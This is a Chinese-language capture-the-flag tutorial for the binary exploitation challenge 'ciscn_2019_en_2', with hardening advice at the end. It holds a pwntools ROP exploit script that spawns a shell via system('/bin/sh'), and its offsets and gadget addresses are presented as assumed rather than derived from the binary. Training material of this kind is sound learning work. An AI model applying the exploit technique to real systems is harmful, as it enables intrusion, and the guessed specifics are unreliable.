1. 项目背景与核心挑战
"ciscn_2019_en_2"这个标题看起来像是某次网络安全竞赛的题目编号。从命名规则分析,"ciscn"很可能是"China Information Security Competition National"的缩写,"2019"代表年份,"en"可能指代"engineering"或"English"赛道,"2"则是题目序号。这类竞赛题目通常模拟真实场景中的安全漏洞,考察参赛者的逆向工程、漏洞利用和系统渗透能力。
这类赛题的核心价值在于:
- 模拟企业级应用的真实漏洞场景
- 训练二进制程序分析能力
- 培养漏洞利用链构建思维
- 锻炼安全防护方案设计能力
2. 题目环境搭建与初步分析
2.1 题目文件获取与基础检查
首先需要获取题目提供的文件包,通常包含:
- 可执行程序(如名为ciscn_2019_en_2的ELF文件)
- 动态链接库依赖
- 可能的辅助数据文件
使用基础命令进行初步检查:
bash复制file ciscn_2019_en_2
checksec --file=ciscn_2019_en_2
典型输出可能显示:
code复制ciscn_2019_en_2: ELF 64-bit LSB executable, x86-64...
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
2.2 运行环境配置
建议使用Ubuntu 18.04/20.04 LTS环境,配置必要的工具链:
bash复制sudo apt install gdb peda patchelf pwntools
对于依赖库问题,可使用patchelf修改二进制文件的库搜索路径:
bash复制patchelf --set-interpreter /path/to/ld-linux.so.2 ciscn_2019_en_2
patchelf --set-rpath /path/to/libs ciscn_2019_en_2
3. 程序逆向与漏洞分析
3.1 静态分析技术路线
使用IDA Pro/Ghidra进行逆向工程时,重点关注:
- 主函数调用关系图
- 危险函数调用(strcpy, gets, system等)
- 用户输入处理逻辑
- 权限控制相关代码
典型发现可能包括:
- 存在未限制长度的栈缓冲区读取
- 格式化字符串漏洞
- 后门函数或隐藏功能
- 逻辑缺陷导致的越权访问
3.2 动态调试技巧
使用GDB配合peda插件进行动态分析:
bash复制gdb -q ciscn_2019_en_2
关键调试命令:
start:在main函数入口暂停b *0x400xxx:在关键地址设断点ni/si:单步执行x/20wx $rsp:查看栈内存info registers:查看寄存器状态
调试技巧:在输入函数(如read/gets)前后设置断点,对比栈帧变化,可快速定位缓冲区溢出点。
4. 漏洞利用技术实现
4.1 漏洞利用链构建
假设题目存在栈溢出漏洞,典型利用步骤:
-
确定溢出偏移量:
- 使用cyclic模式字符串
- 观察程序崩溃时的RIP值
- 计算精确偏移(如pattern_offset)
-
获取system地址:
- 通过ELF解析获取plt表中的system地址
- 或计算libc基址偏移
-
构建ROP链:
- 使用ROPgadget工具查找可用指令片段
- 组合pop rdi; ret等关键gadget
4.2 利用脚本编写示例
使用pwntools编写利用脚本:
python复制from pwn import *
context(arch='amd64', os='linux')
p = process('./ciscn_2019_en_2')
elf = ELF('./ciscn_2019_en_2')
# 计算偏移
offset = 120
# 获取关键地址
pop_rdi = 0x400c03
binsh = next(elf.search(b'/bin/sh'))
system = elf.plt['system']
# 构造payload
payload = flat([
b'A'*offset,
pop_rdi,
binsh,
system
])
p.sendlineafter(b'>', payload)
p.interactive()
5. 防御方案与安全加固
5.1 漏洞修复建议
针对发现的漏洞类型,相应修复方案:
-
栈溢出:
- 使用安全函数(fgets替代gets)
- 增加栈保护(-fstack-protector)
- 启用ASLR和PIE
-
格式化字符串:
- 严格使用格式化字符串参数
- 如printf("%s", user_input)
-
逻辑漏洞:
- 增加输入验证
- 最小权限原则
5.2 二进制加固方案
对编译后的二进制可采取:
bash复制gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now,-z,relro
加固效果检查:
code复制RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
6. 竞赛技巧与实战经验
6.1 时间管理策略
- 前5分钟:快速运行程序,观察基础行为
- 15分钟:基础逆向,标记危险函数
- 20分钟:动态调试验证猜想
- 15分钟:编写利用脚本
- 5分钟:测试与调整
6.2 常见问题速查
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| 段错误 | 栈地址错误 | 检查ROP链对齐 |
| 无回显 | 输出被缓冲 | 添加exit或flush |
| 远程不通 | 环境差异 | 使用ldd检查依赖 |
实战经验:在构造ROP链时,注意x64架构下的栈对齐要求(16字节对齐),可在关键位置插入ret指令作为"nop"。
7. 延伸学习路径
建议后续学习方向:
- 高级ROP技术(SROP, BROP)
- 堆漏洞利用(UAF, double free)
- 内核漏洞利用
- 现代防护绕过(CFG, SafeSEH)
推荐实验平台:
- pwnable.kr
- pwnable.tw
- CTFtime.org赛事
在实际操作这类题目时,最重要的是建立系统的分析思路:从信息收集到漏洞假设,从理论验证到实际利用。每个CTF题目都是真实漏洞的抽象,通过反复练习可以培养出敏锐的安全嗅觉。